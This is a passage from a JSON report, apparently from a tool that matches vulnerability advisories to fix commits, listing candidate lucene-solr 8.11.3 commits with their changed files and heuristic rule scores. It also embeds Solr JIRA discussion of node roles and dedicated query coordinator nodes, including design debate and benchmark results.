solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java, solr/solrj/src/java/org/apache/solr/client/solrj/SolrRequest.java, solr/core/src/java/org/apache/solr/request/SolrQueryRequest.java, solr/core/src/test-files/solr/configsets/cache-control/conf/schema.xml, solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java, solr/core/src/java/org/apache/solr/handler/component/HttpShardHandlerFactory.java, solr/core/src/java/org/apache/solr/handler/component/RealTimeGetComponent.java, solr/core/src/test-files/solr/configsets/cache-control/conf/solrconfig.xml, solr/test-framework/src/java/org/apache/solr/SolrTestCaseJ4.java, solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java, solr/contrib/analytics/src/java/org/apache/solr/handler/component/AnalyticsComponent.java, solr/core/src/java/org/apache/solr/handler/component/SearchHandler.java, solr/core/src/java/org/apache/solr/core/NodeRoles.java, solr/core/src/java/org/apache/solr/update/UpdateLog.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java, solr/core/src/test-files/solr/configsets/conf3/conf/solrconfig.xml, solr/core/src/java/org/apache/solr/handler/component/QueryComponent.java, solr/core/src/java/org/apache/solr/api/CoordinatorV2HttpSolrCall.java", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: handler, read, request, actor, clouds", + "relevance": 4 + }, + { + "id": "BUG_IN_MESSAGE", + "message": "The commit message references some bug tracking ticket: SOLR-15694", + "relevance": 2 + } + ] + }, + { + "commit_id": "2088d743db9304492ab19c14bc80c6187f172b79", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1698088740, + "hunks": 79, + "message": "SOLR-15694, SOLR-15715: Node roles and dedicated query coordinator nodes Co-authored-by: Noble Paul ", + "changed_files": [ + "solr/contrib/analytics/src/java/org/apache/solr/handler/component/AnalyticsComponent.java", + "solr/contrib/ltr/src/java/org/apache/solr/ltr/response/transform/LTRFeatureLoggerTransformerFactory.java", + "solr/contrib/ltr/src/java/org/apache/solr/ltr/search/LTRQParserPlugin.java", + "solr/core/src/java/org/apache/solr/api/CoordinatorV2HttpSolrCall.java", + "solr/core/src/java/org/apache/solr/cloud/api/collections/Assign.java", + "solr/core/src/java/org/apache/solr/cloud/api/collections/CategoryRoutedAlias.java", + "solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java", + "solr/core/src/java/org/apache/solr/cloud/api/collections/RestoreCmd.java", + "solr/core/src/java/org/apache/solr/cloud/api/collections/RoutedAlias.java", + "solr/core/src/java/org/apache/solr/cloud/api/collections/TimeRoutedAlias.java", + "solr/core/src/java/org/apache/solr/core/CoreContainer.java", + "solr/core/src/java/org/apache/solr/core/NodeRoles.java", + "solr/core/src/java/org/apache/solr/handler/ClusterAPI.java", + "solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java", + "solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java", + "solr/core/src/java/org/apache/solr/handler/admin/ShowFileRequestHandler.java", + "solr/core/src/java/org/apache/solr/handler/component/HttpShardHandler.java", + "solr/core/src/java/org/apache/solr/handler/component/HttpShardHandlerFactory.java", + "solr/core/src/java/org/apache/solr/handler/component/QueryComponent.java", + "solr/core/src/java/org/apache/solr/handler/component/RealTimeGetComponent.java", + "solr/core/src/java/org/apache/solr/handler/component/SearchHandler.java", + "solr/core/src/java/org/apache/solr/request/DelegatingSolrQueryRequest.java", + "solr/core/src/java/org/apache/solr/request/SimpleFacets.java", + "solr/core/src/java/org/apache/solr/request/SolrQueryRequest.java", + "solr/core/src/java/org/apache/solr/response/transform/CoreAugmenterFactory.java", + "solr/core/src/java/org/apache/solr/response/transform/TransformerFactory.java", + "solr/core/src/java/org/apache/solr/search/JoinQParserPlugin.java", + "solr/core/src/java/org/apache/solr/search/join/ScoreJoinQParserPlugin.java", + "solr/core/src/java/org/apache/solr/servlet/CoordinatorHttpSolrCall.java", + "solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java", + "solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java", + "solr/core/src/java/org/apache/solr/update/UpdateLog.java", + "solr/core/src/java/org/apache/solr/update/processor/DistributedUpdateProcessorFactory.java", + "solr/core/src/java/org/apache/solr/update/processor/RoutedAliasUpdateProcessor.java", + "solr/core/src/test-files/solr/configsets/cache-control/conf/schema.xml", + "solr/core/src/test-files/solr/configsets/cache-control/conf/solrconfig.xml", + "solr/core/src/test-files/solr/configsets/conf3/conf/schema.xml", + "solr/core/src/test-files/solr/configsets/conf3/conf/solrconfig.xml", + "solr/solrj/src/java/org/apache/solr/client/solrj/SolrRequest.java", + "solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseCloudSolrClient.java", + "solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java", + "solr/test-framework/src/java/org/apache/solr/SolrTestCaseJ4.java" + ], + "message_reference_content": [], + "jira_refs": { + "SOLR-15694": "I think we should have first class support for starting a Solr node in a mode whereby no cores will be placed on them. These nodes are useful for certain scenarios: Dedicated overseer nodes Nodes where only plugins are installed and used (e.g. cluster/node level plugins) Dedicated nodes for querying (more on this to come later). Today, to achieve this effect, one can: 1. start a node (which will make it join live_nodes and be immediately available for replica placement). 2. Put replica placement rules or autoscaling policies to prevent replicas from being placed there. This is not standardized, 8x has two ways to achieve this (replica placement rules and autoscaling framework), 9x has a new autoscaling framework. Proposing a start parameter for starting a node that starts the node in this configuration, and then internally this is handled appropriately (across 8x and 9x). This should be Kubernetes/Docker friendly as well, since it is easy to add an additional parameter for a startup (instead of putting things into autoscaling.json in ZK via init scripts). Concept of node roles and non-data nodes This has been discussed many times. I think it should be a generic concept of a \"node role\", which can then be one or more roles that will dictate how the node acts. One role coud be \"zk\", which would let the node start an embedded zookeeper (for a future managed zk feature), and then you could combine it with \"data\" if the node should also be eligible for index/search. There may be other roles such as \"streaming\" perhaps which would only host streaming expression jobs, etc. This is definitely SIP worthy. janhoy , thanks. That is good feedback. This has been discussed many times. Can you please point me to that? Will link to that in future discussions. I think it should be a generic concept of a \"node role\", which can then be one or more roles that will dictate how the node acts. Today, we have a role \"overseer\" for a node. However, many users look for dedicated overseer nodes (nodes that don't handle querying or indexing), and there's no easy way today. and then you could combine it with \"data\" if the node should also be eligible for index/search. Do you recommend that we have a role \"data\" for nodes (regular nodes as we have today)? In that case, what would absence of this \"data\" role for a node mean the node doesn't host any cores? This seems reasonable for what I intend to achieve with usecases I have in mind. This is definitely SIP worthy. I'll create one, thanks janhoy We already have a file /roles.json in ZK. It has a key called \"overseer\" now. We can add a new key called \"query-nodes\" and add nodes to that Ah, did not know about that. A thousand questions pop up, such as: Should roles be supported in leader/follower mode? What would be the best way to designate roles to a node? A global file in ZK like /roles.json is one way. ENV_VARs or SysProps at each node is another. How dynamic do we need this to be, are there business needs to (re)assign roles at runtime, and in that case do we need a REST API for it? If dynamic, what role(s) would a brand new node (or k8s pod) added to the cluster be assigned? What happens if you have only assigned a role to one node and that node leaves the cluster? Should that be configurable, or would there be some cluster level plugin monitoring events, that makes such decisions? etc etc Looking forward to seeing a SIP with a thorough design and recommendation on this. Looking forward to seeing a SIP with a thorough design and recommendation on this. I'll write up the SIP today. We can address these questions there and link to this JIRA. Here's the SIP: https://cwiki.apache.org/confluence/display/SOLR/SIP-15+Node+roles Discussion is happening here: https://lists.apache.org/thread.html/rb3cbfddb6e3af9c671d037ce1e7341544a2f1ab287f184c8f53ac44c%40%3Cdev.solr.apache.org%3E Browsing the other SIPs, SIP-11 is potentially related, as ir proposes some nice cleanup of accessing cluster-level config. Not saying we should not wait for that, but I'll ping ab to explore synergies. Commit 24e5ba7105ea774de0b319337c6809d2839b9f8a in solr's branch refs/heads/jira/SOLR15694 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=24e5ba7 ] SOLR-15694 : Ref guide changes Commit e32e58c20be0540c6e89679a57aac26616911e3d in solr's branch refs/heads/main from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e32e58c ] SOLR-15694 : Node roles Commit e19a13f8146a713fe883c9a17809dc542638cc85 in solr's branch refs/heads/branch_9x from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e19a13f ] SOLR-15694 : Node roles Can you close this and also move SIP-15 to correct section in the list? https://cwiki.apache.org/confluence/display/SOLR/Solr+Improvement+Proposals ichattopadhyaya why is this till open? Also the SIP (see previous comment) is listed as \"under discussion\". I'll try once moce ichattopadhyaya noble.paul Can you please move the SIP-15 to the \"Implemented\" section here https://cwiki.apache.org/confluence/display/SOLR/Solr+Improvement+Proposals ? Done. Commit 2088d743db9304492ab19c14bc80c6187f172b79 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=2088d743db9 ] SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes Co-authored-by: Noble Paul Commit 68fa493b8f959788216eb48f6bcef825fe8e24e6 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=68fa493b8f9 ] Revert \" SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes\" This reverts commit 2088d743db9304492ab19c14bc80c6187f172b79. Commit 2da4332072ffffb0581ef60d11de5b0d157452ac in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=2da4332072f ] SOLR-15694 , 15715: Node roles and dedicated query coordinator nodes Commit b54a788fe71c7f87a8b8564461cb196c138fc7ce in lucene-solr's branch refs/heads/branch_8_11 from noblepaul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=b54a788fe71 ] SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time) Commit 002b3ce67bea7dfe114c3b7dfdceb00b8777363c in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=002b3ce67be ] Revert \" SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time)\" This reverts commit b54a788fe71c7f87a8b8564461cb196c138fc7ce. Commit ace7641edb762d31519df1db845885dfd31caee4 in lucene-solr's branch refs/heads/branch_8_11 from noblepaul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=ace7641edb7 ] SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time) Hi ichattopadhyaya , We are trying to use the Node roles feature to set a preferred Overseer in our Solr 9 fork. What is the purpose of having overseerDesignate in addition to specifying a preferredOverseer ? How is it specified via startup parameters? In our fork, I am configuring one node in the SolrCloud cluster with -Dsolr.node.roles=overseer:preferred,data:on . All other nodes are set to overseer:allowed,data:on by default. I have observed that during a rolling restart, the OverseerNodePrioritizer almost always elects the preferred Overseer as the Overseer, provided it is up. Additionally, since the overseerDesignate list remains empty (until the preferred Overseer is added to it), it does not affect this outcome.", + "SOLR-15715": "We have a large collection with 1000s of shards in the solr cluster. We have observed that distributed solr query takes many resources(thread, memory, etc.) on the solr data node(node which contains indexes). Thus we need dedicated query nodes to execute distributed queries on large solr collection. That would reduce the memory/cpu pressure from solr data nodes. Elastis search has similar functionality here noble.paul ichattopadhyaya Dedicated query coordinator nodes in the solr cluster Related to SOLR-15694 I'd like to point out here that this feature is a donation from FullStory, where hiteshkhamesra implemented this solution that has already brought immense benefits on large Solr clusters. As part of this JIRA, we plan to upstream that functionality so that broader Solr community can benefit. While we've seen substantial reduction of memory usage on data hosting nodes in production for FullStory's internal workloads, I shall publish benchmarks for this feature on publicly available datasets soon. I just wrapped up an initial round of testing on regular setup (6 data nodes) POC setup (1 dedicated overseer + 1 coordinator + 6 data nodes). Setup details Regular setup: 6 nodes 2GB heap space on every node 6 collections, 6 shards each, 1 replica per shard Documents 30M per collection (ecommerce events dataset) Queries: 20,000 per collection, all queries on faceting (filtered by timeranges) Query rate: 2 threads per collection, 6 collections at the same time. Query target node: first data node ( port 50000 ) POC setup: 8 nodes: 1 dedicated overseer, 1 coordinator node, 6 data nodes 2GB heap space on every node 6 collections, 6 shards each, 1 replica per shard Documents 30M per collection (ecommerce events dataset) Queries: 20,000 per collection, all queries on faceting (filtered by timeranges) Query rate: 2 threads per collection, 6 collections at the same time. Query target node: coordinator node ( port 50001 ) Performance results Here are the results, Regular setup results: POC results: Conclusion Due to a separate coordinator node, memory usage on data nodes very low. Isolated coordinator node feature for query aggregation working as designed. A well known issue with this model is that the aggregation nodes can a. become bottlenecks to the overall throughput and b. cause outages if they are not scaled correctly. In an aggregation heavy system, these nodes will become the target of maximum load, thus potentially causing a skew in the cluster where the data nodes are relatively lower loaded vs the aggregation nodes bearing most of the load. To sustain that, a separate scalability model will be required for the aggregation nodes, thus leading to more complexity and state. Compared to status quo, in a state of high load, the chances of the cluster running into a cascading failure mode are higher for this solution. What are the steps taken to avoid the situation described above, and what kind of testing/simulation has been performed for the same? To sustain that, a separate scalability model will be required for the aggregation nodes, thus leading to more complexity and state. What do you mean by a \"separate scalability model\"? These query aggregation nodes are stateless and can be scaled up and down independently of the data nodes. Cost of bringing up a new aggregation node and bringing down a misbehaving aggregation node is much lower than misbehaving nodes with data in it. What are the steps taken to avoid the situation described above, and what kind of testing/simulation has been performed for the same? At FullStory, this solution has been running in a production Solr cluster with hundreds of nodes for several months now with immense benefits in reducing load on the data nodes. Cost of bringing up a new aggregation node and bringing down a misbehaving aggregation node is much lower than misbehaving nodes with data in it. { } That is exactly what I want to understand \u2013 how do you scale these nodes up? Are these autoscaled? What is the implication of scaling these nodes on the metadata storage (i.e. ZK state) and the overseer? You are concentrating a load (that was previously distributed) on a few select nodes, so the probability of needing to scale these nodes is high. That can eventually mean a larger cluster overall, since you aren't really removing any data nodes? At FullStory, this solution has been running in a production Solr cluster with hundreds of nodes for several months now with immense benefits in reducing load on the data nodes. While I am glad to hear that, I would still like to see a simulated (and reproducible) benchmark that targets the above mentioned scenario and demonstrates the said feature's handling of the same. That is exactly what I want to understand \u2013 how do you scale these nodes up? Are these autoscaled? What is the implication of scaling these nodes on the metadata storage (i.e. ZK state) and the overseer? It is possible to use Kubernetes or AWS autoscaling based on QPS or other load metrics to provision more of these query aggregation nodes. If this feature leverages the Node Roles feature (SIP-15), then the implication of having many query aggregation nodes would be that there will be many ephemeral nodes added to the /node-roles subtree (nested under coordinator role). {{You are concentrating a load (that was previously distributed) on a few select nodes, so the probability of needing to scale these nodes is high. }} An important benefit of isolating the cost of query aggregation is that while super expensive queries (queries of death) can still take down aggregation nodes, but data nodes still continue to function. Regarding the \"need is high\" for scaling up these query aggregation nodes, I think it is dependent on the workload and I'm not at liberty to disclose the exact details of FullStory's production workload. I would still like to see a simulated (and reproducible) benchmark that targets the above mentioned scenario and demonstrates the said feature's handling of the same. The benchmark I posted above is one such simulated benchmark which is reproducible (I'll share the steps to reproduce it once we have a PR opened). There might be many more reproducible benchmarks to come for this feature, each highlighting different aspects of this solution. Regarding the \"need is high\" for scaling up these query aggregation nodes, I think it is dependent on the workload and I'm not at liberty to disclose the exact details of FullStory's production workload. Having said that, I don't expect that anyone except a tiny minority of users would find this feature helpful. And, as you mentioned, even for those who find this useful, it might be necessary to weigh the tradeoffs that are involved (having additional nodes on top of the data nodes vs. whatever benefits can be had). This is going to be an opt-in feature. In this JIRA, I don't think we can address all such real world scenarios in order to be able to provide definitive guidance whether this will be useful for a particular scenario or not. An important benefit of isolating the cost of query aggregation is that while super expensive queries (queries of death) can still take down aggregation nodes, but data nodes still continue to function. That is true when the majority of workload is non aggregation. On the other hand, if the majority of the workload is aggregation heavy, we are essentially creating a skew in the cluster, keeping majority of nodes free and focusing the heavy lifting to a few nodes \u2013 which will lead to either a set of cascading failures or additional nodes, thus pushing up the cost and increasing cluster management complexity. I am interested in seeing that kind of a benchmark to see how this solution behaves in that situation. Copying a comment I made on the PR because I think it is a slightly larger discussion and might need more eyes on it. Design point: I'm not a fan of putting the coreNameMapping into the CoreContainer's objectCache. It feels kludgey and like we're using that as a grab bag for everything. It's not discoverable and probably not maintainable. I'd like to see this rearchitected in some ways for CoreContainer to allow roles to register themselves with it, and then there's a specific entry per role. And hopefully that's a domain object that can be extendable in the future. So instead of ObjectCache we have a map called RoleData that is maybe Map and each role knows what that entry is. It feels kludgey and like we're using that as a grab bag for everything. I agree that it is a bit \"kludgey\". However I do not believe all roles need to register some data with CoreContainer. I shall try to make it cleaner Here are final benchmark numbers. Setup Branch: https://github.com/apache/solr/pull/996 No. of Solr nodes: 6 (1 dedicated overseer, 1 coordinator node, 4 regular data nodes) No. of collections: 1 No. of shards: 256 No. of documents: 25 million No. of queries: 2000 (faceting queries, a few join queries) Hardware: One machine with 64GB RAM, at least 16 CPUs. Suite: https://github.com/fullstorydev/solr-bench/blob/master/coordinator-node.json Comparison: Scenario 1) All queries sent to the dedicated overseer node, and hence forwarded to data nodes and executed there. Scenario 2) All queries sent to coordinator node, hence executed on that node. Results Here are the heap usage graphs. The left graphs are for scenario 1 (queries executed on data nodes) and right graphs are scenario 2 (queries executed on coordinator node). It is clear that the heap usage on data nodes (ports 50002+) is less in scenario 2. Reproducing these benchmarks On a laptop, desktop or VM, with at least 64GB RAM and 16 CPUs, do the following: 1. git clone https://github.com/fullstorydev/solr-bench 2. apt install wget unzip zip ant ivy lsof git netcat make openjdk-11-jdk maven jq 3. mvn clean compile assembly:single 4. ./stress.sh coordinator-node.json To run scenario 1, keep the `query-node` to 1 in `querying` section of `task-types` (coordinator-node.json). To run scenario 2, change it to 2. Here 1 and 2 represent the node index (check the `startup-params-overrides` in `cluster` section). To plot the graphs, run `python2.6 -m SimpleHTTPServer 9000` (after a run) and open http://localhost:9000/plot-stress.html on the browser to view the graphs. Narrow down to \"Task 3\" for graphs only during the query phase. I plan to merge the PR #996 soon. It is clear that the heap usage on data nodes (ports 50002+) is less in scenario 2. Can you pretend that I'm a junior engineer and explain this conclusion to me? Can you pretend that I'm a junior engineer and explain this conclusion to me? It seems that during the query phase, a data node (lets say the red line) goes through 9 cycles of GC in scenario 1, whereas during scenario 2 same line goes via 6 cycles. Hence, I arrived at the conclusion that there's less GC cycles, thus indicating lower heap usage, when using coordinator nodes for querying. Does it make sense, Mike? Commit d029eb14aa8fbb592938f67bd1397bd8fe805168 in solr's branch refs/heads/main from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=d029eb14aa8 ] SOLR-15715 : Dedicated query coordinator nodes in the solr cluster (#996) Commit 05f72879b33f389d89baaf7559ea03eb9aef2e89 in solr's branch refs/heads/branch_9x from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=05f72879b33 ] SOLR-15715 : Dedicated query coordinator nodes in the solr cluster (#996) Thanks to everyone for reviews and contribution. Bulk closing 9.1 issues. Commit 2088d743db9304492ab19c14bc80c6187f172b79 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=2088d743db9 ] SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes Co-authored-by: Noble Paul Commit 68fa493b8f959788216eb48f6bcef825fe8e24e6 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=68fa493b8f9 ] Revert \" SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes\" This reverts commit 2088d743db9304492ab19c14bc80c6187f172b79. Obviously very late to the party, and likely have missed something, but looking at this and some of the code, I'm given to wonder why this wasn't achieved via client request preferences (which was implemented), node labeling, and replica placement (to ensure certain labeled nodes never get data). Nodes without data that receive all the client requests is job done, right? In the current code it seems that only tests will ever call \"setPreferredNodes()\" which makes me think that this feature only works if the end-user client is manually tracking what nodes are coordinators? I guess my biggest Q is why do we need subclasses of HttpSolrCall? This seems achievable with node labels, a node role that adds a label, client smarts, and replica placement. I see a bunch of references to \"synthetic collection\" in the code, but it's not clear what this is or why its needed. From the javadoc: /**\r\n * A coordinator node can serve requests as if it hosts all collections in the cluster. it does so\r\n * by hosting a synthetic replica for each configset used in the cluster. Why do we want to do that? Existing code already knew how to find shards, delegate sub requests and coordinate a response, why do we need to fake the location of the collections with a synthetic replica? Gus, without this feature, how does one get a core/replica onto a coordinator node that has no data? Normally a core is part of a shard and that shard has data like all the others. This only partially addresses your questions; I don't have all the answers. I think I would have rather seen a special shard; maybe having no range and/or having a special state. But I think an aspect of the solution here is to have an approach that scales to many collections, thus don't want many empty cores. So instead I could imagine a collection that is able to query any other collection. I noticed an interesting new issue & PR on this feature recently SOLR-17118 ." + }, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: This, ZooKeeper, SolrCloud, Solr", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/api/collections/RoutedAlias.java, solr/core/src/java/org/apache/solr/cloud/api/collections/Assign.java, solr/core/src/java/org/apache/solr/request/SimpleFacets.java, solr/core/src/test-files/solr/configsets/conf3/conf/schema.xml, solr/core/src/java/org/apache/solr/handler/ClusterAPI.java, solr/core/src/java/org/apache/solr/search/join/ScoreJoinQParserPlugin.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CategoryRoutedAlias.java, solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java, solr/core/src/java/org/apache/solr/core/CoreContainer.java, solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java, solr/core/src/java/org/apache/solr/servlet/CoordinatorHttpSolrCall.java, solr/contrib/ltr/src/java/org/apache/solr/ltr/search/LTRQParserPlugin.java, solr/contrib/ltr/src/java/org/apache/solr/ltr/response/transform/LTRFeatureLoggerTransformerFactory.java, solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseCloudSolrClient.java, solr/core/src/java/org/apache/solr/update/processor/DistributedUpdateProcessorFactory.java, solr/core/src/java/org/apache/solr/cloud/api/collections/TimeRoutedAlias.java, solr/core/src/java/org/apache/solr/handler/admin/ShowFileRequestHandler.java, solr/core/src/java/org/apache/solr/request/DelegatingSolrQueryRequest.java, solr/core/src/java/org/apache/solr/response/transform/CoreAugmenterFactory.java, solr/core/src/java/org/apache/solr/handler/component/HttpShardHandler.java, solr/core/src/java/org/apache/solr/response/transform/TransformerFactory.java, solr/core/src/java/org/apache/solr/search/JoinQParserPlugin.java, solr/core/src/java/org/apache/solr/update/processor/RoutedAliasUpdateProcessor.java, solr/core/src/java/org/apache/solr/cloud/api/collections/RestoreCmd.java, solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java, solr/solrj/src/java/org/apache/solr/client/solrj/SolrRequest.java, solr/core/src/java/org/apache/solr/request/SolrQueryRequest.java, solr/core/src/test-files/solr/configsets/cache-control/conf/schema.xml, solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java, solr/core/src/java/org/apache/solr/handler/component/HttpShardHandlerFactory.java, solr/core/src/java/org/apache/solr/handler/component/RealTimeGetComponent.java, solr/core/src/test-files/solr/configsets/cache-control/conf/solrconfig.xml, solr/test-framework/src/java/org/apache/solr/SolrTestCaseJ4.java, solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java, solr/contrib/analytics/src/java/org/apache/solr/handler/component/AnalyticsComponent.java, solr/core/src/java/org/apache/solr/handler/component/SearchHandler.java, solr/core/src/java/org/apache/solr/core/NodeRoles.java, solr/core/src/java/org/apache/solr/update/UpdateLog.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java, solr/core/src/test-files/solr/configsets/conf3/conf/solrconfig.xml, solr/core/src/java/org/apache/solr/handler/component/QueryComponent.java, solr/core/src/java/org/apache/solr/api/CoordinatorV2HttpSolrCall.java", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: handler, read, request, actor, clouds", + "relevance": 4 + }, + { + "id": "BUG_IN_MESSAGE", + "message": "The commit message references some bug tracking ticket: SOLR-15694, SOLR-15715", + "relevance": 2 + } + ] + }, + { + "commit_id": "3b395d90e5fd6604afb27da4777fd9d1c347c48d", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1698857127, + "hunks": 1, + "message": "Remove unused import, thereby fixing Eclipse import error", + "changed_files": [ + "solr/core/src/java/org/apache/solr/handler/designer/SampleDocumentsLoader.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: Solr", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/handler/designer/SampleDocumentsLoader.java", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: handler", + "relevance": 4 + } + ] + }, + { + "commit_id": "ace7641edb762d31519df1db845885dfd31caee4", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1698605784, + "hunks": 4, + "message": "SOLR-15694, 15715: Create ephemeral roles properly (missed backporting these changes last time)", + "changed_files": [ + "solr/core/src/java/org/apache/solr/cloud/ZkController.java" + ], + "message_reference_content": [], + "jira_refs": { + "SOLR-15694": "I think we should have first class support for starting a Solr node in a mode whereby no cores will be placed on them. These nodes are useful for certain scenarios: Dedicated overseer nodes Nodes where only plugins are installed and used (e.g. cluster/node level plugins) Dedicated nodes for querying (more on this to come later). Today, to achieve this effect, one can: 1. start a node (which will make it join live_nodes and be immediately available for replica placement). 2. Put replica placement rules or autoscaling policies to prevent replicas from being placed there. This is not standardized, 8x has two ways to achieve this (replica placement rules and autoscaling framework), 9x has a new autoscaling framework. Proposing a start parameter for starting a node that starts the node in this configuration, and then internally this is handled appropriately (across 8x and 9x). This should be Kubernetes/Docker friendly as well, since it is easy to add an additional parameter for a startup (instead of putting things into autoscaling.json in ZK via init scripts). Concept of node roles and non-data nodes This has been discussed many times. I think it should be a generic concept of a \"node role\", which can then be one or more roles that will dictate how the node acts. One role coud be \"zk\", which would let the node start an embedded zookeeper (for a future managed zk feature), and then you could combine it with \"data\" if the node should also be eligible for index/search. There may be other roles such as \"streaming\" perhaps which would only host streaming expression jobs, etc. This is definitely SIP worthy. janhoy , thanks. That is good feedback. This has been discussed many times. Can you please point me to that? Will link to that in future discussions. I think it should be a generic concept of a \"node role\", which can then be one or more roles that will dictate how the node acts. Today, we have a role \"overseer\" for a node. However, many users look for dedicated overseer nodes (nodes that don't handle querying or indexing), and there's no easy way today. and then you could combine it with \"data\" if the node should also be eligible for index/search. Do you recommend that we have a role \"data\" for nodes (regular nodes as we have today)? In that case, what would absence of this \"data\" role for a node mean the node doesn't host any cores? This seems reasonable for what I intend to achieve with usecases I have in mind. This is definitely SIP worthy. I'll create one, thanks janhoy We already have a file /roles.json in ZK. It has a key called \"overseer\" now. We can add a new key called \"query-nodes\" and add nodes to that Ah, did not know about that. A thousand questions pop up, such as: Should roles be supported in leader/follower mode? What would be the best way to designate roles to a node? A global file in ZK like /roles.json is one way. ENV_VARs or SysProps at each node is another. How dynamic do we need this to be, are there business needs to (re)assign roles at runtime, and in that case do we need a REST API for it? If dynamic, what role(s) would a brand new node (or k8s pod) added to the cluster be assigned? What happens if you have only assigned a role to one node and that node leaves the cluster? Should that be configurable, or would there be some cluster level plugin monitoring events, that makes such decisions? etc etc Looking forward to seeing a SIP with a thorough design and recommendation on this. Looking forward to seeing a SIP with a thorough design and recommendation on this. I'll write up the SIP today. We can address these questions there and link to this JIRA. Here's the SIP: https://cwiki.apache.org/confluence/display/SOLR/SIP-15+Node+roles Discussion is happening here: https://lists.apache.org/thread.html/rb3cbfddb6e3af9c671d037ce1e7341544a2f1ab287f184c8f53ac44c%40%3Cdev.solr.apache.org%3E Browsing the other SIPs, SIP-11 is potentially related, as ir proposes some nice cleanup of accessing cluster-level config. Not saying we should not wait for that, but I'll ping ab to explore synergies. Commit 24e5ba7105ea774de0b319337c6809d2839b9f8a in solr's branch refs/heads/jira/SOLR15694 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=24e5ba7 ] SOLR-15694 : Ref guide changes Commit e32e58c20be0540c6e89679a57aac26616911e3d in solr's branch refs/heads/main from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e32e58c ] SOLR-15694 : Node roles Commit e19a13f8146a713fe883c9a17809dc542638cc85 in solr's branch refs/heads/branch_9x from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e19a13f ] SOLR-15694 : Node roles Can you close this and also move SIP-15 to correct section in the list? https://cwiki.apache.org/confluence/display/SOLR/Solr+Improvement+Proposals ichattopadhyaya why is this till open? Also the SIP (see previous comment) is listed as \"under discussion\". I'll try once moce ichattopadhyaya noble.paul Can you please move the SIP-15 to the \"Implemented\" section here https://cwiki.apache.org/confluence/display/SOLR/Solr+Improvement+Proposals ? Done. Commit 2088d743db9304492ab19c14bc80c6187f172b79 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=2088d743db9 ] SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes Co-authored-by: Noble Paul Commit 68fa493b8f959788216eb48f6bcef825fe8e24e6 in lucene-solr's branch 